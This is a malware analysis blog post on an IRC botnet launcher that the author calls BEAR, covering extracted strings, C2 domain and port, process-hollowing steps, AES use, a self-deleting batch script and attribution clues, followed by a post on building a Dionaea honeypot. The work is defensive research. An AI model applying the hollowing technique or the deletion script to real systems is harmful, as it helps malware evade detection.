Rijndael was the original name for the Advanced Encryption Standard (AES), and superseded DES. The block size for AES is 128 bits, while key lengths can be 128, 192 and 256 bits. It’s a symmetric-key system, so the same key is used for encryption and decryption. The output from KANAL refers to S-boxes (the [S] and [S-inv] in the screen capture above). Substitution boxes (S-boxes) are matrices used in AES. The first reference above (RIJNDAEL [S]) refers to the encryption side, while the second (RIJNDAEL [S-inv]) refers to the inverse S-box that would be used for decryption. This could mean that this sample both encrypts outgoing traffic as well as receives encrypted incoming traffic from C2. Another nice thing about the KANAL output is that it also shows where the references to these constants are, which will help later with disassembly/debugging.

Dynamic Analysis

After this I jumped into disassembly and debugging to try to get a general feel for this sample, and then took a step back and went through a more structured dynamic analysis with the usual tools (procmon, procexp, wireshark, and so on). When I first ran this sample, I observed the original instance of the sample (PID 3688) spawns a child process of itself (PID 760) shortly after execution, and then shortly after that the original instance (3688) terminates.

The first instance imports kernel32.dll and user32.dll, but the second instance imports these and several others including ws2_32.dll and advapi32.dll. The first time I ran this sample, I did it without an Internet connection and I did not notice any files dropping, however the second time I ran this sample I first obtained an Internet connection and this time I observed a call to WriteFile. This was actually a pretty obvious file that dropped – in the directory where the executable is located, a file called wcsqmpbh.bat dropped in the open, containing the following instructions:

@echo off
:deleteagain
del /A:H /F [samplename].exe
del /F [samplename].exe
if exist [samplename].exe goto deleteagain
del wcsqmpbh.bat

Note that [samplename] refers to whatever file name you’ve given the sample. Strangely, this batch file was executed according to procmon, though the original executable and the batch file remain. Perhaps this is a file that the bot controller could remotely execute should the need arise to cover their tracks, but it’s unclear why these files didn’t actually get deleted following execution. The flags indicate that the batch file was trying to force deletion of both hidden and unhidden copies of the malware, regardless if the file was read-only at the time.

The obfuscation at work in this sample made disassembly and debugging difficult, however I was able to look in the strings in the images of the running samples in Process Explorer and saw many interesting strings. I’ll look at some of these in more detail.

One of the first things that stood out to me was a series of what appear to be IRC commands and a channel name (#balengor). These commands match what I observed in the packets captured in Wireshark and line up with how one would connect to and register on an IRC server, followed by strings that are used to build the commands to join the probable C2 channel, set the appropriate modes for the connected user, and so forth. You also see a reference to Eggdrop, an IRC bot and a version number for this software.

UNK
NICK %s
USER %s %s %s :%s
PASS %s
NOTICE %s :
PRIVMSG %s :
message
NOTICE %s :
PRIVMSG %s :
NOTICE
link!link@link PRIVMSG %s :%s
NICK
USERHOST %s
JOIN %s %s
MODE %s +xi
MODE %s +smntu
JOIN
ERROR
VERSION %s
eggdrop v1.6.16
VERSION link v%d.%03d%s (Win32)
PING
PING
VERSION
VERSION
SEND
DCC
PRIVMSG
MODE
PONG
PONG %s
PING
link!link@link
ndEvery1
#balengor

Here are a few examples of where you see some of these strings in the traffic:

bear4

Another string that stands out is a standard base64 index:
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/

There’s an extensive section which contains strings mentioning bots as well as related to the various activities that the bot can carry out. I’ve made some of the more interesting ones bold below, but there are strings related to scanning for remote machines, exploitation of those machines, exploitation statistics, remote shell access, file transfer, references to protocols (tftp, ftp, http), parts of a dynamically created user agent, and status messages related to restarting the malware or terminating it.

Scanned
:%s in
sec.
open IP(s) found
:%s is open
– Scanning
:%s for
second(s)
Scanning
:%s for
second(s)
Scanning
:%s for
second(s), t:%u s:%u
– Attempted
exploitation(s) on
IP(s).
Attempting to exploit
with
– Attempting to exploit IP’s in list.
Attempting to exploit IP’s in list.
Exploit statistics –
Listing exploit statistics
bot(s) found with string
No bots found with string
found string
in %s (
– Listing bots with string
%s bots with string
Killing
Listing
Cmd.exe process has terminated.
Could not read data from process.
cmd.exe
Error while executing command.
Remote cmd thread
open
Received
from
sec with
KB/sec
– Receiving
from
Receiving
from
Content-Length: %u
Content-Length:
GET /%s HTTP/1.0
Host: %s
– Unsupported protocol specified.
– Error while downloading
– Unable to start
– Successfully downloaded
with
KB/sec%s.
, executing
, updating
– No file to download specified.
tftp://
anonymous
ftp://
http://
– Cannot read source file
– Cannot write to destination file
file://
– Downloading
Downloading
.exe
QUIT :restarting
QUIT :exitting [sic]

Near these commands are strings that relate to debugging issues with the malware, including one string that is constructed during crashes that contains information about the CPU state at the time of the crash (in this case you see that it saves the state of the registers), along with some error messages.

debug
– Module “%s” reported a crash in “%s”: N=%u EAX=%08X EBX=%08X ECX=%08X EDX=%08X ESI=%08X EDI=%08X EBP=%08X ESP=%08X EIP=%08X EFLAGS=%08X. Code: %08X (%s). %s…
Continuing
Restarting
EXCEPTION_FLT
EXCEPTION_INT_DIVIDE_BY_ZERO
EXCEPTION_STACK_OVERFLOW
EXCEPTION_NONCONTINUABLE_EXCEPTION
EXCEPTION_BREAKPOINT
EXCEPTION_ACCESS_VIOLATION
EXCEPTION_ILLEGAL_INSTRUCTION
EXCEPTION_OTHER

Many strings relate to system information, probably so that the controllers can inventory the systems in the botnet. The string USA is found in the beginning – perhaps this was generated dynamically since this sample was run on a machine located there. Other strings relate to CPU and memory information, uptime, networking information, firewall status, and storage information. One string seems to mention encryption along with the number 128 – perhaps this is a clue that the key is 128-bit, but I would like to find something in the disassembly that would back this up. Interestingly, you can also see that the bot seems to rate some of these aspects as Good, Avarage [sic] and Bad.

USA
System information – OS: Windows
). CPU: %s
MHz. Ram:
MB free. IPv6:
. Uptime:
day%s
hour%s
minute%s. Computername:
. User:
ProcessorNameString
HARDWARE\DESCRIPTION\System\CentralProcessor\0
Yes
no SP
Sysinfo thread
Network information – Host:
. Name:
. Type:
. IPv6:
. Firewalled:
. Latency:
, %u. IRC Uptime:
day%s
hour%s
minute%s.
Good
Avarage [sic]
Bad
LAN
Modem
Unknown
Netinfo thread
%sTotal drives:
, Total space:
MB free.
MB free
unknown
ramdisk
cd-rom
remote
fixed
removable
Drive information –
Driveinfo thread
thread
btg
debug
– btg tried executing an unreadable address. (%08X)
– No threads running.
– Listing
threads:
QUIT :changing server
link v
%s [Win32]
Uptime – System:
day%s
hour%s
minute%s. IRC:
day%s
hour%s
minute%s
Debug mode is %s.
off
Exe download server:
none
Exe download server:
f128enc+fab decrypted:
f128enc+fab encrypted: =

The network activity was pretty interesting to observe. As noted above, the malware connects via IRC to her.d0kbilo.com (37.59.118.41) on port 4466. There was actually quite a bit of plaintext in the traffic:

BEAR5

The nick that was assigned to my various instances all seemed to follow the same format of “d[a-zA-Z{7}]b”, trying to put it into some sort of pseudo-regular expression. I was able to confirm this by connecting to the server and trying to interact with the bot account from a remote location. If one tries to connect to the IRC server from the same IP, you get the following result:

BEAR6

Upon connecting to the server (independently, not as a malware instance), an operator account sets your user mode to +iwG (which makes the nick invisible, enables wallops message receipt, G which filters out certain words). Joining the malware C2 channel shows that the mode for the channel is set to +smntu, which makes it a secret channel; moderated; external messages disallowed; and only operators are allowed to change the topic (the +u is unknown). Malware nicks receive user mode +xi which makes them hidden and invisible (meaning the username is hidden and makes this nick hidden from /WHO and /NAMES commands when executed from outside the channel).

Trying to obtain a list of channels from my regular IRC client was unsuccessful (which was unsurprising, since the channels are set to be secret) but strangely an online IRC client did show some channels:

BEAR7

If you know a specific nick, you can still contact that person even if they are set to invisible. You can see in the following packets when I was sending traffic to the malware’s IRC instance, which was also a way that I was able to confirm that the nicks are plaintext and not obfuscated (though, the nicks themselves likely follow some sort of coding standard to help identify the victims):

I sent a /QUERY to the malware nick (my nick was gurdaptl and I was connecting from Kiwi IRC):

BEAR8

I created a channel called #flot and invited the malware nick there (no luck):

BEAR9

Apart from this, the only other activity I observed was that the malware would have a PING/PONG exchange with a user “e.TK” about every 90 seconds or so. I recorded about 40 minutes of such traffic but did not observe anything else.

Getting back to some of the other malware behavior, one thing noticeably absent was any indication of persistence – while running as a regular user (i.e., not with administrator privileges). I tried various tools (Autoruns, RegShot, GMER, etc.) to check for changes to the system and for some sort of persistence mechanism, but found nothing. Following a reboot, the malware did not appear to be running. Since I wondered if there was something preventing me from seeing the sample (some sort of hooking, etc.) I captured packets for about five minutes but observed no traffic to the malicious server or really anything out of the ordinary. I can’t imagine that you’d have a useful botnet that didn’t achieve persistence, but perhaps this is again a quirk of either my VM environment (user permissions, etc.) or merely the fact that I am running in a VM.

I re-ran the sample as administrator, and got some very different results this time in terms of how it attempts to both hide itself and achieve persistence. As a side note, I’m going to take an analytical leap of faith and say that this sample doesn’t escalate privileges due to the much different behavior observed when run as an administrator vs. a regular user.

First, the file does succeed in deleting itself after execution, along with the batch file. What was really interesting was the the malware then proceeds to create and replace a number of new processes every 60 seconds or so. The number of processes varied between runs, but ranged from as few as 4 to as many as 16. This long series looked like this (process name and PID):

1. [sample].exe, 3052
2. [sample].exe, 2848
3. winamp.exe, 212
4. winamp.exe, 2616
5. algs.exe, 864
6. algs.exe, 1004
7. logon.exe, 2220
8. logon.exe, 872
9. winlogon.exe, 2980
10. winlogon.exe, 420
11. spoolsvc.exe, 2572
12. spoolsvc.exe, 2536
13. spoolsv.exe, 2556
14. spoolsv.exe, 2476
15. lssas.exe, 2168
16. lssas.exe, 2264

I noticed that the malware always seemed to follow this pattern of creating two processes of the same name during this procedure. The final process in the list is then added to the registry to be run at startup, for example:

BEAR10

No matter the final process that is set to run at startup, it always gets stored in this same place in the registry, at least in my test environment.

Upon restart, I observed the final two steps in the procedure above repeat (i.e., 15 and 16). That was all – there wasn’t another series of processes created as in the original run. Looking at the image confirmed that this was definitely the malware and not a legitimate process after reboot:

BEAR11

Network Activity

The only anomalous activity detected in Wireshark was traffic between 37.59.118.41 (her.d0kbilo.com) on port 4466. Examination of the packets revealed some plain text which appeared to be IRC-related. In the strings recovered from the sample we see some of the same commands (e.g., USERHOST) as in the packets. The values passed to these commands, however, appears to be encrypted.

BEAR12
When I visited the C2 IRC server, it proclaimed that this was a modified version of the UnrealIRCd IRC server. What’s curious to me is that even though this software was modded by the malware author(s), the IRC commands seem to need to be passed in plain text.

Sitting in the C2 channel didn’t reveal anything. The mode set for you as an unregistered user prevents you from saying anything in the channel and the usernames for you and the other accounts in there are set to invisible. I found a document online apparently written by someone from uNkn0wn Crew and it refers to a couple of other channels, but nothing was going on in those either (though I did have voice enabled there, so I could talk in the channel but no one seemed to be listening or responding).

Disassembly/Debugging

One thing I noticed pretty early in this is that this sample does at least two things that makes disassembly and debugging more difficult. One is that many function calls are indirect, so you sort of have to switch back and forth between the disassembler and the debugger to see what is really being called when you see something like call dword ptr [eax+0Ch]. Here’s a screenshot showing some of this along with where I’ve inserted some comments so I can better keep track of what’s actually called:

BEAR13

The other thing is that this sample creates and replaces multiple new processes which makes debugging to be a real pain. I’m going to call out a few specific areas where I found something that looked interesting in this sample.

Starting at the function at 40204F, there’s a series of calls to GetModuleHandleA and GetProcAddress to get handles and addresses of various functions that will be used later for the process replacement:

BEAR14

Looking at it in both IDA Pro and Olly, this series of functions gets handles and addresses of:

tableoffunctions

The sub at 40224C finds the code to be written in the process replacement:

BEAR15

Then there’s a block to create the suspended process for future replacement:

BEAR16

Looking at this, I didn’t see a call to CreateProcessA, but I saw one of the parameters pushed on to the stack was 0x4. When you want to create a process in a suspended state, you pass 0x4 as the CreationFlags parameter. To confirm this, I checked it out in a debugger and we can see this at work for the first process that the malware spawns (in this case, it creates a suspended process of itself) and you can see that CreationFlags is set to CREATE_SUSPENDED in the stack in the bottom right:

BEAR17

Further along, we see a block of code at 402394 that loops and writes the malware to memory, and then once fully written, the block beginning at 4023D7 resumes the thread to complete the replacement:

BEAR18

After that overall function returns, the malware calls an exit function at 403608:

BEAR19

This sample appears to use AES. As previously stated, KANAL found the constants, which you can see here in this shot from IDA Pro:

BEAR20

I have a very high level understanding of AES, so I sort of know what to look for, but I couldn’t get through too much of the code that appears to deal with this encryption. First, here are a few things about AES:

– Block sizes are always 128-bits
– Key sizes are always either 128-, 192-, or 256-bits
– Using AES comprises the following steps. Note that the number of rounds depends on the size of the key – 10 rounds for a 128-bit key, 12 rounds for a 192-bit key, and 14 rounds for a 256-bit key.

Key Expansion (round keys derived from cipher key)
Initial Round
1. Add Round Key (each state byte combined with a block of the round key)
Rounds
1. Sub Bytes (where the S-box comes into play)
2. Shift Rows (transposition)
3. Mix Columns (combining of 4 bytes in each column)
4. Add Round Key (see above)
Final Round
1. Sub Bytes (S-box, again)
2. Shift Rows (see above)
3. Add Round Key (see above)

For more detail, please see the link in the references.

There is a loop beginning at 40121D that could be the Mix Columns loop as it iterates in 4-byte blocks:

BEAR21

Sub 401079 is where we first see the S-box being used:

BEAR22

One interesting thing can be seen later, in a sub at 4016A5. Here we see a function that works with the S-Inv box (MaybeSINVSubBytes) and there’s a local variable that is set to 0xE (14) that is used to loop. One thing we know from earlier is that the number of rounds for a 256-bit key should be 14, so perhaps this is a clue that we’re looking at 256-bit AES:

BEAR23

This represents some things I thought were interesting about this initial run of the malware. In this first run, what appears to happen is that the malware starts and finds several functions that are necessary to do process replacement. Following this, the sample decrypts data beginning at 4061C4 and then replaces the suspended process with this. Here is this section before decryption:

BEAR24

Here is a view of this area in Olly after decryption (you can see the MZ (4D5A) “magic number”):

BEAR25

I took all of this and dumped it from Olly into its own file, and then took a look in PEview:

BEAR26

Nice.

I’m not going to dive into this payload right now (will be a future analysis) however we can already see imports (DLLs like WS2_32, shell32, ADVAPI32) and plaintext strings:

BEAR27

I would have liked to have fully taken the crypto functions apart and recovered the key and the AES parameters in use, but I think that it’s good enough (at least for now) to have recovered the encrypted payload for further analysis.

Attribution

There were some interesting things found pertaining to attribution with this sample. The malware connects to her.d0kbilo.com, which sits behind a domain privacy provider, so nothing much to see in the whois lookup. There were multiple indications of IRC traffic (the Wireshark activity, the #Balengor string in the sample, etc.) so I decided to try to connect to her.d0kbilo.com. The regular IRC port failed but connecting on port 4466 (like the sample) succeeded. Interestingly, I was able to connect as a regular, unregistered user although my activities on the server were constrained. One of the initial messages greeting me on the server was that the box belonged to “uNKn0wn Crew” who apparently could be found at www.uNkn0wn.eu. It also mentioned an email address – iD@uNkn0wn.eu.

BEAR28

One of the few commands that I was allowed to execute on this server showed me the local time on the server, which placed it in the UTC+2 timezone. It’s certainly possible that this server had a random time zone set, but if this timezone is actually indicative of geography, this would actually put this server potentially in many places, from West Africa, to continental Europe, to Southwest Asia. IP address location services place the server in France or Spain.

I’ve found a few mirrors of defaced websites from uNKn0wn Crew and the names I saw associated with those were bebo and warbody. This was from 2004, however. In the #Balengor channel, which I presume is used for C2, there is a topic set by “k” which appears to be a base64 encoded string. Modes are set by an “e.TK” on the server. At this point, the possible identities I’ve seen from this group are:

– iD
– e.TK
– k
– bebo
– warbody

BEAR30

I can’t say that I’ve heard of this group or these people, though I would point out that there used to be a flash cartoon on newgrounds.com about a cat named Beebo, so maybe this person was a fan of that series.

Summary

It’s been an interesting and somewhat frustrating exercise to go through this sample due to all of the anti-analysis features in place here. Recovery of the payload is great, and my next step here is to analyze this sample. Even without the analysis of the payload, we do know that this sample adds the host machine to a botnet and allows robust C2 functions to be run on the victim machine. We also discovered something about the group responsible for it.

There wasn’t a name associated with this sample when submitted to the online sandboxes. Referring to it by its MD5 hash is cumbersome, so I’m going to assign this a name. Since this is related to botnets and this is the first part of a multi-part sample, I’m going with single syllable B reporting names. I’m going to call this one BEAR.

References:
csrc.nist.gov/archive/aes/rijndael/Rijndael-ammended.pdf
https://en.wikipedia.org/wiki/Advanced_Encryption_Standard

Findings and observations:
This sample is essentially a launcher for an encrypted payload. This overall malware package establishes C2 via IRC and allows for a robust level of control on infected machines. This malware also indicates that it can be used for typical botnet operations (e.g., scanning for new victims, exploiting targets, etc.)

Recommendations:
When this sample was run as a regular (unprivileged) user, it appeared unable to fully execute however it still did appear to establish C2. Keeping regular users in appropriate (non-admin) levels of access appears to impede this sample’s operations. Specifically, running as a regular user should prevent the sample from achieving persistence which would result in the sample being removed from the host upon reboot.

C2, for the time being, is located at her.d0kbilo.com (currently resolving to 37.59.118.41) on port 4466. Restricting access to this domain, IP address and port would impede or eliminate the C2 function.

Conclusion:
A skillfully executed bot client that uses multiple anti-analysis techniques to hamper the analyst.

Report: MalEXE001

Hashes:
MD5fcc038bc5b7297dffa9a78424c71674f
SHA1ba71062e5266b3e70e3e15b2d963ec7d5e375933
SHA256f6fb4bde73ca1fff1fc90cff03f5c8255467b8b3d7f54330f39ecc3fa48f0e51
ssdeep:1536:W/sLo8xocXN5U3FjAXScUC30SWEk4JgTqkKk6YqwFYtitK2TZ:WEL9okN5U3FjtQ0SWyJgT5D6wK2

I’m FRIENDLY-SCANNER, and so can you

Posted on July 5, 2016 - July 29, 2016 by rhyolite

For the TL;DR on setting up Dionaea, see below

Lately I’ve been pretty disappointed in the kinds of attachments I’ve been receiving in my various emailboxes. Adwind (both iterations) was pretty interesting to see, but I’m noticing that a lot of what I receive is just a more formatted, fancier 419 scam. I’m basically just seeing various versions of “I’m a Nigerian oil minister, please send me your bank details” in a document attachment. I’ve actually even gotten one sender to resend their attachment as a PowerPoint file.

A couple of things occur to me, one is that these might be files that take advantage of vulnerabilities in older versions of the software that I am running, so when I open them on my current test environments I’m not really seeing anything happen. Going forward I’m going to run much older versions of my applications to see if anything different happens. For instance, I just put Acrobat Reader 5.0 on one of my testing VMs and used that to open a recent attachment during examination (though nothing happened with this ancient version of Acrobat, either). Another explanation is that these might just be exactly what they appear to be — prettier versions of the same crap that fills my inbox on a daily basis, but not much more than that.

I think it’s OK to continue checking my email attachments for stuff to analyze, but I also recognize that I need better samples, ideally Windows executables which I’m more knowledgeable about than documents. I decided to try setting up a honeypot to see if I could get anything interesting. I ran into various roadblocks along the way before I got something up and running, but hopefully detailing what happened might help others avoid some of these issues.

The first thing I noticed is the somewhat fragmented state of the various open-source honeypots out there. Dionaea was the most recommended one from various sources, but the original site (http://dionaea.carnivore.it/) is out of service and most material I managed to find about the software was from several years ago. I tried another honeypot, Amun, but that seemed sort of defunct at this point also. The last update (from 2012) stated that it was still being maintained, but the documentation section had most of the links struck out so it was a bit hard to figure out exactly what to do with it.

I decided to use my testing machine as the host for the honeypot since it’s already running Ubuntu. I got Amun set up on it and got it running, but strangely there seemed to be very little activity (something on the order of 3-4 pieces of traffic over a 2-3 day period). This seemed VERY strange to me — I was thinking that there would likely be hundreds of scans per day at least. I tried various things to get things working better:
– Disabled firewall on the host
– I thought that maybe there was some issue with NAT or something else, so I added the host machine to the router’s DMZ
– Temporarily disabling all security features on the router and observing if there were any changes
– I tried connecting the host directly to the cable modem here, not going through the router at all

Finally after about five days, I ended up with six scans. Something just didn’t seem right.

I decided that I would have to give Dionaea a try. Installing using repositories didn’t work, so I had to find out everything I’d need to install manually and then install from source. I’d also need to find the source since the main site wasn’t around anymore.

This site had the best set of Dionaea docs I could find. You can also find some info about using Dionaea in Malware Analyst’s Cookbook in the second chapter (specifically, recipes 2-4 through 2-9). I installed Dionaea from PhiBo’s github repository, however I also mirrored it to my newly created one since I feel like the world could always use more copies of this lying around.

Here are the steps I followed, largely following the instructions from the readthedocs.io link above. For the benefit of anyone who doesn’t do this often (or maybe is doing this for the first time), I’m putting explicit directions on what commands to enter:

Update packages:

sudo apt-get update
sudo apt-get dist-upgrade

If you don’t already have it installed, install git:
```
sudo apt-get install git
```

Install all Dionaea dependencies (note the one in bold — if you try to install the original libnl-dev mentioned in the docs you’ll get an error about it not existing, but you can use libnl-3-dev instead):

sudo apt-get install \
    autoconf \
    automake \
    build-essential \
    check \
    cython3 \
    libcurl4-openssl-dev \
    libemu-dev \
    libev-dev \
    libglib2.0-dev \
    libloudmouth1-dev \
    libnetfilter-queue-dev \
    libnl-3-dev \
    libpcap-dev \
    libssl-dev \
    libtool \
    libudns-dev \
    python3 \
    python3-dev \
    python3-yaml \

Put the repository in /opt/dionaea (use either of the repositories above, as an example I’ll use the one I created):
```
sudo git clone git://github.com/BYEMAN/dionaea.git /opt/dionaea
```

Run the following commands:

cd /opt/dionaea

sudo autoreconf -vi

sudo ./configure \
 --disable-werror \
 --prefix=/opt/dionaea \
 --with-python=/usr/bin/python3 \
 --with-cython-dir=/usr/bin \
 --with-ev-include=/usr/include \
 --with-ev-lib=/usr/lib \
 --with-emu-lib=/usr/lib/libemu \
 --with-emu-include=/usr/include \
 --with-nl-include=/usr/include \
 --with-nl-lib=/usr/lib

sudo make

sudo make install

To start an instance of Dionaea, you can just run it as a super user but I typically run it as a daemon and put the PID in a file, as suggested in the Malware Analyst’s Cookbook
```
sudo /opt/dionaea/bin/dionaea -p /opt/dionaea/var/dionaea.pid -D
```
That should be all you need to do in order to get the software itself running. How it works for you once up and running is another topic.

Shortly after getting the honeypot running, I noticed LOTS of logging activity and within about 5 hours I observed 2700 scans had come in. Obviously much different than with Amun. Not sure why this happened, but I also didn’t look into it since I was just happy to have a honeypot up and running.

After a couple of days, I had collected lots of traffic and recorded many sessions but didn’t manage to collect any binaries, which is really what I’m after here. I did some reading online and I saw some suggestions that quite often any binaries come in over the ports for SMB (445) and MSMQ (1801 and others). Googling revealed that my ISP blocks these ports for residential customers (though not for business users), and checking with canyouseeme.org confirmed that my machine was unreachable through these ports. I needed to get something, somewhere that would allow me to run the honeypot without these restrictions.

Someone I know recommended getting something on Digital Ocean and setting up a honeypot there. I signed up with them and so far I have to tell you that I’m pretty thrilled with them. I got the cheapest “droplet” which comes to $5 a month, and set it up with Ubuntu 16.04 and the honeypot. You can confirm what ports are open on their systems with ping.eu, but I also emailed their support before I signed up and got the following response:

We do have a few restrictions, on UDP port 80 traffic, and SMTP over IPv6, both to prevent abuse and which cannot be lifted. Otherwise, we don’t any network restrictions, so as long as your software is compatible with the Linux or FreeBSD distributions that we offer, it should run just fine.

Another thing that I thought was nice about them is that you can locate your droplet in datacenters in various parts of the world. I picked one in NYC, but I’m thinking about getting some set up in other regions to see if I get different traffic there. If you want to sign up, use this link and you’ll get $10 in credit from Digital Ocean assuming you’re new to them.

I spent an evening getting my droplet set up and installing Dionaea, and then let it run overnight. At 0753 the next morning:

ls-l

And look how it begins:

Nice.

Oh yeah, referring to the title — one of the first scans I received was from something identifying itself as “FRIENDLY-SCANNER”. Seems legit.